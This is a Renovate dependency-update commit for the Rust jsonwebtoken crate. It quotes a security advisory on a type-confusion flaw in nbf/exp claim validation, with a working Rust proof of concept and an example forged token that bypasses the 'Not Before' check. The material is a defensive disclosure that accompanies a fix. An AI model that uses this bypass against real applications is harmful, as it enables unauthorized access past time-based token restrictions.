Click to expand commit body
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [jsonwebtoken](https://redirect.github.com/Keats/jsonwebtoken) |
workspace.dependencies | major | `9.3` → `10.0` |
---
> [!WARNING]
> Some dependencies could not be looked up. Check the Dependency
Dashboard for more information.
### GitHub Vulnerability Alerts
####
[GHSA-h395-gr6q-cpjc](https://redirect.github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc)
## Summary:
It has been discovered that there is a Type Confusion vulnerability in
jsonwebtoken, specifically, in its claim validation logic.
When a standard claim (such as nbf or exp) is provided with an incorrect
JSON type (Like a String instead of a Number), the library’s internal
parsing mechanism marks the claim as “FailedToParse”. Crucially, the
validation logic treats this “FailedToParse” state identically to
“NotPresent”.
This means that if a check is enabled (like: validate_nbf = true), but
the claim is not explicitly marked as required in required_spec_claims,
the library will skip the validation check entirely for the malformed
claim, treating it as if it were not there. This allows attackers to
bypass critical time-based security restrictions (like “Not Before”
checks) and commit potential authentication and authorization bypasses.
## Details:
The vulnerability stems from the interaction between the TryParse enum
and the validate function in
[src/validation.rs](https://redirect.github.com/Keats/jsonwebtoken/blob/master/src/validation.rs).
1. The TryParse Enum: The library uses a custom TryParse enum to handle
claim deserialization:
```
enum TryParse<T> {
Parsed(T),
FailedToParse, // Set when deserialization fails (e.g. type mismatch)
NotPresent,
}
```
If a user sends {“nbf”: “99999999999”} (legacy/string format), serde
fails to parse it as u64, and it results in TryParse::FailedToParse.
1. The Validation Logic Flaw (src/validation.rs): In
Validation::validate, the code checks for exp and nbf
like this:
```
// L288-291
if matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) {
return Err(new_error(ErrorKind::ImmatureSignature));
}
```
This matches! macro explicitly looks for TryParse::Parsed(nbf).
• If claims.nbf is FailedToParse, the match returns false.
• The if block is skipped.
• No error is returned.
1. The “Required Claims” Gap: The only fallback mechanism is the
“Required Claims” check:
```
// Lines 259-267
for required_claim in &options.required_spec_claims {
let present = match required_claim.as_str() {
"nbf" => matches!(claims.nbf, TryParse::Parsed(_)),
// ...
};
if !present { return Err(...); }
}
```
If “nbf” IS in required_spec_claims, FailedToParse will fail the
matches!(..., Parsed(_)) check, causing the present to be false, and
correctly returning an error.
However, widely accepted usage patterns often enable validation flags
(validate_nbf = true) without adding the claim to the required list,
assuming that enabling validation implicitly requires the claim’s
validity if it appears in the token. jsonwebtoken seems to violate this
assumption.
Environment:
• Version: jsonwebtoken 10.2.0
• Rust Version: rustc 1.90.0
• Cargo Version: cargo 1.90.0
• OS: MacOS Tahoe 26.2
POC:
For demonstrating, Here is this simple rust code that demonstrates the
bypass. It attempts to validate a token with a string nbf claiming to be
valid only in the far future.
create a new project:
```
cargo new nbf_poc; cd nbf_poc
```
add required dependencies:
```
cargo add serde --features derive
cargo add jsonwebtoken --features rust_crypto
cargo add serde_json
```
replace the code in src/main.rs with this:
```
use jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};
use serde::{Deserialize, Serialize};
#[derive(Debug, Serialize, Deserialize)]
struct Claims {
sub: String,
nbf: String, // Attacker sends nbf as a String
exp: usize,
}
fn main() {
let key: &[u8; 24] = b"RedMouseOverTheSkyIsBlue";
// nbf is a String "99999999999" (Far future)
// Real nbf should be a Number.
let my_claims: Claims = Claims {
sub: "krishna".to_string(),
nbf: "99999999999".to_string(),
exp: 10000000000,
};
let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap();
println!("Forged Token: {}", token);
// 2. Configure Validation
let mut validation: Validation = Validation::new(Algorithm::HS256);
validation.validate_nbf = true; // Enable NBF check
// We do NOT add "nbf" to required_spec_claims (default behavior)
// We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.
// The library sees the raw JSON with string "nbf".
let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>(
&token,
&DecodingKey::from_secret(key),
&validation
);
match result {
Ok(_) => println!("Token was accepted despite malformed far-future 'nbf'!"),
Err(e) => println!("Token rejected. Error: {:?}", e),
}
}
```
run cargo run
expected behaviour:
```
Forged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk
```
Token was accepted despite malformed far-future 'nbf'!
Impact:
If an application uses jsonwebtoken nbf (Not Before) to schedule access
for the future (like “Access granted starting tomorrow”).
By sending nbf as a string, an attacker can bypass this restriction and
access the resource immediately.
and for the exp claim (this is unlikely but still adding), If a
developer sets validate_exp = true but manually handles claim presence
(removing exp from required_spec_claims), an attacker can send a string
exp (e.g., “never”) and bypass expiration checks entirely. The token
becomes valid forever.
---
### Release Notes
<details>
<summary>Keats/jsonwebtoken (jsonwebtoken)</summary>
###
[`v10.3.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1030-2026-01-27)
[Compare
Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v10.2.0...v10.3.0)
- Export everything needed to define your own CryptoProvider
- Fix type confusion with exp/nbf when not required
###
[`v10.2.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1020-2025-11-06)
[Compare
Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v10.1.0...v10.2.0)
- Remove `Clone` bound from decode functions
###
[`v10.1.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1010-2025-10-18)
[Compare
Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v10.0.0...v10.1.0)
- add `dangerous::insecure_decode`
- Implement TryFrom \&Jwk for DecodingKey
###
[`v10.0.0`](https://redirect.github.com/Keats/jsonwebtoken/blob/HEAD/CHANGELOG.md#1000-2025-09-29)
[Compare
Source](https://redirect.github.com/Keats/jsonwebtoken/compare/v9.3.1...v10.0.0)
- BREAKING: now using traits for crypto backends, you have to choose
between `aws_lc_rs` and `rust_crypto`
- Add `Clone` bound to `decode`
- Support decoding byte slices
- Support JWS
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" in timezone America/New_York,
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
Release Notes:
- N/A
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45NS4yIiwidXBkYXRlZEluVmVyIjoiNDIuOTUuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->
---------
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Marshall Bowers <git@maxdeviant.com>